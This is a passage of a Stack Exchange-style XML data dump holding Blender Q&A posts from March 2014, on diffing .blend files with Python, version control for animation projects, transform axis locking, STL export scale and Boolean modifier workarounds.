file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for shape keys, they are part of the mesh object data. If the two mesh objects have similar topology you may be able to copy the shape keys between models. You could append the first mesh object and then try to copy the shapekeys then delete the first object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you may find it easier to append the second object to the same file as the first one, duplicate the armature, copy shapekeys etc. Then save a duplicate copy of the blend and remove one model from each file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-03T04:21:08.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7488" PostTypeId="2" ParentId="7484" CreationDate="2014-03-03T06:50:31.577" Score="9" Body="&lt;p&gt;You would need to write an export script to dump all the data of the .blend files you want to compare into a text file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From python you could use &lt;a href=&quot;http://docs.python.org/3.3/library/difflib.html&quot; rel=&quot;noreferrer&quot;&gt;difflib&lt;/a&gt; to compare them like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import difflib&#xA;import os&#xA;&#xA;old_file = &quot;C:\\Users\\user\Documents\\Blender\\dump1.txt&quot;&#xA;new_file = &quot;C:\\Users\\user\Documents\\Blender\\dump2.txt&quot;&#xA;print(os.getcwd()) &#xA;a = open(old_file).readlines()&#xA;b = open(new_file).readlines()&#xA;diff_string = difflib.unified_diff(a=a, b=b)&#xA;&#xA;for line in diff_string:&#xA;    print(line)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While it makes almost no sense to compare the meshes between edited versions of a mesh (besides some stats like how the number of polygons has increased etc.)&#xA;In this &lt;a href=&quot;http://www.blenderartist.org/forum/showthread.php?298560-Blender-python-script-to-see-changes-in-blend-files-%28patch%29&quot; rel=&quot;noreferrer&quot;&gt;BA thread&lt;/a&gt; you find more thoughts on that.&#xA;CoDEmanX linked his &lt;a href=&quot;https://github.com/CoDEmanX/blend_stats&quot; rel=&quot;noreferrer&quot;&gt;git project blend_stats&lt;/a&gt; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started a script which is incomplete and has issues with links in objects.&#xA;You could use it as a starting point and improve it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;&#xA;map={}&#xA;debug = False&#xA;&#xA;def dump(obj, name=&quot;&quot;, level=0):&#xA;    if level &amp;gt; 10:&#xA;        return&#xA;    if debug:&#xA;        print(&quot;call %d obj=%s type=%s&quot; % (level, str(obj), str(type(obj))))&#xA;    if str(type(obj)) in (&quot;&amp;lt;class 'builtin_function_or_method'&amp;gt;&quot;,):&#xA;        return&#xA;    if isinstance(obj, mathutils.Vector):&#xA;        print(&quot;%s=%s&quot; % (name,str(obj.to_tuple())))&#xA;        return&#xA;&#xA;    if str(type(obj)) == &quot;&amp;lt;class 'bpy_prop_collection'&amp;gt;&quot;:&#xA;        for item in obj:&#xA;            dump( item, name , level+1)&#xA;            return&#xA;&#xA;    if str(type(obj)) == &quot;&amp;lt;class 'tuple'&amp;gt;&quot;:&#xA;        idx=0&#xA;        for item in obj:&#xA;            dump( item, name + &quot;[&quot; +str(idx) + &quot;]&quot;, level+1)&#xA;            idx = idx+1&#xA;            return;&#xA;&#xA;    for attr in dir(obj):&#xA;       if not hasattr(obj, attr ) or attr.startswith(&quot;__&quot;) or attr in (&quot;bl_rna&quot;,&quot;base&quot;,&quot;rna_type&quot;):&#xA;           continue&#xA;       if attr == &quot;particle_edit&quot;:&#xA;           return # crashes otherwise&#xA;       if name+&quot;.&quot;+attr in map:&#xA;           if debug  or True:&#xA;               print(&quot;already dumped=%s&quot; % name+&quot;.&quot;+attr )&#xA;           return&#xA;       map[name+&quot;.&quot;+attr]=obj     &#xA;       val = getattr(obj, attr)&#xA;       if isinstance(val, (int, float, str, bool)):&#xA;          print(&quot;%s.%s=%s&quot; % (name,attr,val))&#xA;       else:&#xA;          dump( val, name + &quot;.&quot; + attr, level+1)&#xA;&#xA;print(60*&quot;-&quot;)&#xA;dump(bpy.data,&quot;bpy.data&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-03T06:50:31.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7489" PostTypeId="2" ParentId="7378" CreationDate="2014-03-03T07:26:45.943" Score="10" Body="&lt;p&gt;For best practices I would recommend to learn from larger projects done with blender. &#xA;You could look how &lt;a href=&quot;http://graphicall.org/bbb/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Big Bug Bunny&lt;/a&gt; was organized.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First don't have a team editing one large .blend file, have different folders for textures, material libraries, scenes, characters and so on. Each of these file can be versioned in a Version Control System (VCS). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have different scenes which only reference all the used models (link instead of append). This makes it versionable. When someone decides that a model of a character &#xA;looked better a week earlier, you could restore this character from the VCS. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To track the changes made on an individual item the VCS comment / history should be used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unlike in software development you wouldn't be able to create branches and merge them back into a head revision. Technically this is because the files are binary and no meaningful difference can be extracted for merging. You usually need a branch when your software is deployed to a production environment and develop new features in a branch and fix bugs in the production version or vice versa. When the new features are scheduled for release you would merge features and bug fixes. But this doesn't happen when creating an animation, when a movie is out it can't be bug fixed nor would new features be added. Having that said it is probably not as painful as in the field software development not to have the ability to merge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In order to debug settings that were unintentionally changed and lead to undesired effects. The settings could be compared between two revisions of a file as described here: &lt;a href=&quot;https://blender.stackexchange.com/questions/7484/get-a-diff-between-two-blend-files&quot;&gt;Get a diff between two .blend files&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which VCS should be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basically depends on the support of your platform used, the experience the team members for details see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://biz30.timedoctor.com/git-mecurial-and-cvs-comparison-of-svn-software/#sthash.VoGyFPuh.dpuf&quot; rel=&quot;nofollow noreferrer&quot;&gt;SVN, Git, Mercurial, and CVS – Comparison of Version Control Software&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookie.com/archive/using-mercurial-version-control-with-blender-projects/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Mercurial Version Control with Blender Projects&lt;/a&gt; &lt;sup&gt;from iKlsR's comment&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-11-22T21:53:01.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostTypeId="1" CreationDate="2014-03-03T09:17:30.293" Score="2" ViewCount="459" Body="&lt;p&gt;I would like to know how to make two or more keyshapes animate/run in the BGE? For example, I have a face and want to move the left or right eyebrow, or both, by calling the two keyshapes animations or running pre-made animations in the shape key editor. &#xA;If possible please show me how to do this in a python module. &#xA;I tried to juggle with setting priorities, but that seemed a little cumbersome as you then have to put in delays to wait for animations to finish playing and it gets complicated...&#xA;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-10-28T10:51:19.473" Title="Multiple keyshape animations in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7491" PostTypeId="1" CreationDate="2014-03-03T10:13:07.860" Score="21" ViewCount="17036" Body="&lt;p&gt;I want to be able to lock my translation/scale operations to two axes at a time, say xy, xz or yz. It currently takes two operations (one for each axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, say for a cylinder, I would like to reduce the radius. I currently have to scale on the x axis first, then on the y axis, or I have to manually input the scale values in the object properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option is easily accessible in 3dsmax via the axis constraints command bar. Or I can click the intersecting area between the 3d manipulator of the axes in question and move in that plane.&lt;/p&gt;&#xA;" OwnerDisplayName="user2657" LastEditorUserId="12" LastEditDate="2014-03-03T13:13:36.760" LastActivityDate="2014-03-04T11:05:46.473" Title="Constrain to any 2 axes during transform?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7492" PostTypeId="2" ParentId="7491" CreationDate="2014-03-03T10:22:55.097" Score="35" Body="&lt;p&gt;While Blender doesn't have widgets to do this, its fairly straightforward.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using the Manipulator: Hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click on the Grab/Scale handles,&lt;br&gt;&#xA;X locks &lt;code&gt;YZ&lt;/code&gt;,&lt;br&gt;&#xA;Y locks &lt;code&gt;XZ&lt;/code&gt;,&lt;br&gt;&#xA;Z locks &lt;code&gt;XY&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using Transform keys: Grab with &lt;kbd&gt;G&lt;/kbd&gt; or Scale with &lt;kbd&gt;S&lt;/kbd&gt;,&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; locks &lt;code&gt;YZ&lt;/code&gt;,&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; locks &lt;code&gt;XZ&lt;/code&gt;,&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; locks &lt;code&gt;XY&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As @sambler notes, you can do &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;Shift X,X&lt;/kbd&gt; move along the objects &lt;em&gt;Local&lt;/em&gt; YX axis, works for any axis of course.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-04T11:05:46.473" LastActivityDate="2014-03-04T11:05:46.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7493" PostTypeId="2" ParentId="7477" CreationDate="2014-03-03T13:15:49.260" Score="4" Body="&lt;p&gt;You need to triangulate the mesh. Select the mesh you wish to export and add a Triangulate Modifier to it. Then in the .stl export dialogue enable Apply Modifiers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tT5Nj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kIw9P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.stl&lt;/code&gt; imported to slic3r&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yvCKO.png&quot; alt=&quot;enter code here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;GIF&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7N9vP.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-03T17:39:53.477" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostTypeId="2" ParentId="7480" CreationDate="2014-03-03T15:32:04.510" Score="15" Body="&lt;p&gt;That's because of the limitation of approach of how inner/outer surface are calculated in Boolean modifier. Current Boolean uses Carve library. Carve will perform boolean operation only if the intersection of two meshes is a closed loop of edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in your image, the object is not a closed manifold one, which confuses the edge classifier. This is listed in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Boolean_Modifier&quot; rel=&quot;noreferrer&quot;&gt;Boolean modifier limitation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, I suggest adding a &lt;strong&gt;Solidify&lt;/strong&gt; modifier on top of &lt;strong&gt;Boolean&lt;/strong&gt; modifier, with a very small Thickness Value (such as &lt;code&gt;0.00001&lt;/code&gt;). After applying both modifiers, you can press &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;strong&gt;Remove Doubles&lt;/strong&gt; to clean the mesh, and select all faces, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt; to correct normals. (This sounds like a trick, but it works in this case, since there's nothing you can do with the current Boolean approach, which got its own advantages as well as limitations)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yHbGU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27256&quot; rel=&quot;noreferrer&quot;&gt;Example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, in the coming &lt;strong&gt;&lt;a href=&quot;http://download.blender.org/release/Blender2.70/&quot; rel=&quot;noreferrer&quot;&gt;2.70&lt;/a&gt;&lt;/strong&gt;, Boolean modifier supports ngons, which means you can generate much better and cleaner results (as shown in above image). You may want to give it a try.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-03T15:37:09.343" LastActivityDate="2014-03-03T15:37:09.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7495" PostTypeId="1" AcceptedAnswerId="7496" CreationDate="2014-03-03T15:51:03.150" Score="3" ViewCount="202" Body="&lt;p&gt;Hello Blender scripters,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a beginner trying hard to work on some scripts. I have been stuck on this problem for some time and any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to programmatically select vertex groups and separate them into new meshes based on selection. However when I try to access the location of these newly created meshes in object mode they return me the location of the original mesh from which they were separated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to calculate the location of these new meshes? Please let me know. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="241" LastEditDate="2014-03-03T16:04:01.297" LastActivityDate="2014-03-03T16:15:14.827" Title="Access new objects location after separation of mesh?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7496" PostTypeId="2" ParentId="7495" CreationDate="2014-03-03T16:15:14.827" Score="2" Body="&lt;p&gt;After you separate the meshes their origins are still the same as when they were together. This is normal behaviour. After you separate the meshes into its parts you need to set origin to geometry for every newly created mesh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;    bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY')  # set origin to geometry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you do this you will be able to successfully query the new locations.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-03T16:15:14.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7497" PostTypeId="1" AcceptedAnswerId="7498" CreationDate="2014-03-03T16:42:44.533" Score="7" ViewCount="1240" Body="&lt;p&gt;I've got a cylinder that I've cut up into different sections from using a boolean modifier, when I go into edit mode to add my textures/ UV images onto the surfaces I have lines/ edges going across the surfaces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I try getting rid of them it affects the surface of the shape and then it is no longer flat, it completely morphs the shape. Is there any way of going about this differently?&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2014-03-03T16:55:28.860" Title="How to have a clean flat surface after boolean modifier for adding materials" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;modifiers&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostTypeId="2" ParentId="7497" CreationDate="2014-03-03T16:55:28.860" Score="9" Body="&lt;p&gt;You can select some or all faces, then &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;strong&gt;Limited Dissolve&lt;/strong&gt;, to make ngons, so that flat surfaces will get merged/simplified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7oaFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional options such as &lt;em&gt;Max Angle&lt;/em&gt; can be set by pressing &lt;kbd&gt;F6&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HgwJo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-03T16:55:28.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7499" PostTypeId="1" AcceptedAnswerId="7513" CreationDate="2014-03-03T17:15:10.063" Score="3" ViewCount="293" Body="&lt;p&gt;I think everything is in the title : I want to deform my metaball object during animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's explain a bit more : I have several metaball objects in my scene, each of them composed of several metaball elements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mball = bpy.data.metaballs.new(&quot;my_ball&quot;) &#xA;obj = bpy.data.objects.new(&quot;my_object&quot;, mball)&#xA;elem1 = mball.elements.new(type=&quot;BALL&quot;)&#xA;elem1.co = Vector((0,0,0))&#xA;elem2 = mball.elements.new(type=&quot;BALL&quot;)&#xA;elem2.co = Vector((2,0,0))&#xA;bpy.context.scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(There are also stiffness, radius... that I didn't wrote for the sake of clarity)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This object can move/rotate with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.location = Vector((1,2,3))&#xA;obj.rotation = Quaternion((1,2,3,4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and be animated simply with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.keyframe_insert(data_path=&quot;location&quot;/&quot;rotation&quot;, frame = 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, it must be able to fusion with other objects, so those objects are named &quot;my_object.001&quot;, &quot;my_object.002&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem is that I want to deform the object during the animation :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elem2.co = Vector((0,2,0))&#xA;obj.keyframe_insert(data_path=&quot;location&quot;, frame = 100) # Of course, it doesn't work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One solution would be to use only objects with one metaball element each, and use lists of metaball objects for my (semantic) objects. But it will be particularly difficult to handle rotations...&lt;/p&gt;&#xA;" OwnerUserId="2664" LastEditorUserId="696" LastEditDate="2014-03-04T15:06:48.137" LastActivityDate="2014-03-04T15:06:48.137" Title="Is it possible to insert a keyframe to a metaball element?" Tags="&lt;scripting&gt;&lt;animation&gt;&lt;shape-keys&gt;&lt;meta-objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7500" PostTypeId="1" CreationDate="2014-03-03T17:46:34.773" Score="2" ViewCount="2127" Body="&lt;p&gt;I am having a model with two hands that I am trying to navigate. I created one of the moves that I want, then in the action editor I clicked the 'F' button. Created a new action and tried to do changes in the timeline but they affect the previous action as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to modify the actions independently of one another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2665" LastActivityDate="2014-06-04T19:16:03.527" Title="Multiple Animations in the Same Model" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7501" PostTypeId="2" ParentId="7500" CreationDate="2014-03-03T17:58:39.970" Score="3" Body="&lt;p&gt;The &lt;strong&gt;F&lt;/strong&gt; button is just for making a Fake user to avoid the non-user data being removed after closing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a duplication based on current action data, you need to click the number button next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o54Y0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-03T17:58:39.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7502" PostTypeId="1" CreationDate="2014-03-03T18:43:40.087" Score="1" ViewCount="393" Body="&lt;p&gt;I've experimented with Blender Net Rendering for the Cycles Renderer these days. For my test setup, I'm using two totally different nodes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Node 1:&lt;/strong&gt;&lt;br&gt;&#xA;  Intel Core2Duo (2 Cores, 2 Threads, 2.1 GHz), 4 GB RAM&lt;br&gt;&#xA;  openSuSE 13.1 x64&lt;br&gt;&#xA;  Stats: Linux 3.11.10-7-desktop x86_64 x86_64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Node 1&lt;/strong&gt; combines the Master, one Slave and the Client. Master and Slave are started via command line (no GUI), the Client as GUI of course.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Node 2:&lt;/strong&gt;&lt;br&gt;&#xA;  Intel Core i5 (4 Cores, 4 Threads, 2.4 GHz), 8 GB RAM&lt;br&gt;&#xA;  Windows 7 64 Bit&lt;br&gt;&#xA;  Stats: Windows 7 AMD64 Intel64 Family 6 Model 37 Stepping 2, GenuineIntel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Node 2&lt;/strong&gt; serves as Slave only. The slave is started in the command line without GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a short animation and sent it via &lt;strong&gt;Node 1&lt;/strong&gt; to the Rendering Cluster. First: It works: Both machines are now rendering with a chunk size of 5. And the results in between are exactly what they are supposed to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the strange thing comes in: I'm sure that those Nodes have different power and speed, but when I take a look at the details of the job, it appears, that both nodes seem to need nearly the same time to finish a frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;no     status   render time  slave     log          result&#xA;1      Done     219.3s       Node2     view log     view result [show]&#xA;2      Done     219.3s       Node2     view log     view result [show]&#xA;3      Done     219.3s       Node2     view log     view result [show]&#xA;4      Done     219.3s       Node2     view log     view result [show]&#xA;5      Done     219.3s       Node2     view log     view result [show]&#xA;6      Done     221.7s       Node1     view log     view result [show]&#xA;7      Done     221.7s       Node1     view log     view result [show]&#xA;8      Done     221.7s       Node1     view log     view result [show]&#xA;9      Done     221.7s       Node1     view log     view result [show]&#xA;10     Done     221.7s       Node1     view log     view result [show]&#xA;11     Done     221.8s       Node2     view log     view result [show]&#xA;12     Done     221.8s       Node2     view log     view result [show]&#xA;13     Done     221.8s       Node2     view log     view result [show]&#xA;14     Done     221.8s       Node2     view log     view result [show]&#xA;15     Done     221.8s       Node2     view log     view result [show]&#xA;16     Done     224.7s       Node1     view log     view result [show]&#xA;17     Done     224.7s       Node1     view log     view result [show]&#xA;18     Done     224.7s       Node1     view log     view result [show]&#xA;19     Done     224.7s       Node1     view log     view result [show]&#xA;20     Done     224.7s       Node1     view log     view result [show]&#xA;21     Done     218.4s       Node2     view log     view result [show]&#xA;22     Done     218.4s       Node2     view log     view result [show]&#xA;23     Done     218.4s       Node2     view log     view result [show]&#xA;24     Done     218.4s       Node2     view log     view result [show]&#xA;25     Done     218.4s       Node2     view log     view result [show]&#xA;26     Done     223.3s       Node1     view log     view result [show]&#xA;27     Done     223.3s       Node1     view log     view result [show]&#xA;28     Done     223.3s       Node1     view log     view result [show]&#xA;29     Done     223.3s       Node1     view log     view result [show]&#xA;30     Done     223.3s       Node1     view log     view result [show]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already tried to set the Threads configuration on the &lt;strong&gt;Node 2&lt;/strong&gt; slave fixed to 4, but the results stay about the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone enlighten me where my mistake is? I don't understand the close equality of the rendering times.&lt;/p&gt;&#xA;" OwnerUserId="2660" LastEditorUserId="1363" LastEditDate="2014-03-03T19:55:51.127" LastActivityDate="2014-03-03T19:55:51.127" Title="2 Node Cycles Netrender on totally different machines: Almost the same rendering time?" Tags="&lt;cycles-render-engine&gt;&lt;network&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="2" ClosedDate="2014-03-05T17:22:22.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="7503" PostTypeId="1" AcceptedAnswerId="7543" CreationDate="2014-03-03T21:21:14.437" Score="17" ViewCount="69095" Body="&lt;p&gt;I've set my Units (in scene properties) to Metric, and the Scene Scale to 0.01 hoping to get the Blender dimensions it mm's. While the (normal) scale is 1 for x,y,z, the standard cube has the dimensions 2x2x2 cm. When I export this to an STL and open it in a slicing program (Netfabb, Slic3r or Cura) they all give the dimensions: 2x2x2 mm. While exporting, the scale is 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I hope you can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2651" LastEditorUserId="241" LastEditDate="2020-06-26T13:05:52.763" LastActivityDate="2020-06-26T13:05:52.763" Title="Scale settings for exporting to STL (for 3d printing)" Tags="&lt;export&gt;&lt;3d-printing&gt;&lt;stl&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostTypeId="2" ParentId="7503" CreationDate="2014-03-03T21:50:28.513" Score="17" Body="&lt;p&gt;The STL exporter doesn't take &lt;em&gt;Scene Scale&lt;/em&gt; into account. Import your STL back into Blender (it will have the same size) and drag &lt;em&gt;Scene Scale&lt;/em&gt; up back to 1.0, and you'll see how the cube grows relative to the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Blender unit equals 1m, but STL seems to assume 1 unit as 1cm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want 1 unit to be 1mm, &lt;strong&gt;set Scale on STL export to&lt;/strong&gt; &lt;code&gt;0.1&lt;/code&gt; and &lt;br&gt;&lt;em&gt;Scene Scale&lt;/em&gt; to &lt;code&gt;0.001&lt;/code&gt; to make it match the output scale in viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the STL will be 10x smaller if you re-import it into Blender!&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-03T21:50:28.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostTypeId="2" ParentId="7476" CreationDate="2014-03-03T22:41:57.760" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/7478/599&quot;&gt;Vader's answer&lt;/a&gt; is better in this case, however it &lt;em&gt;is&lt;/em&gt; possible to do this using the &lt;em&gt;mix node&lt;/em&gt; by using the mask/black and white image as the &lt;em&gt;mix factor&lt;/em&gt;: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3yFjZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3yFjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works because the mix factor is controlled per-pixel by the black and white mask.&lt;br&gt;&#xA;&lt;code&gt;White = mix factor of 1&lt;/code&gt; and &lt;code&gt;black = mix factor of 0&lt;/code&gt;. So the bottom input  will be used where the mask is white and the top input will be used where the mask is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Split view of the mask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1j6Qh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1j6Qh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-03-03T23:44:06.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
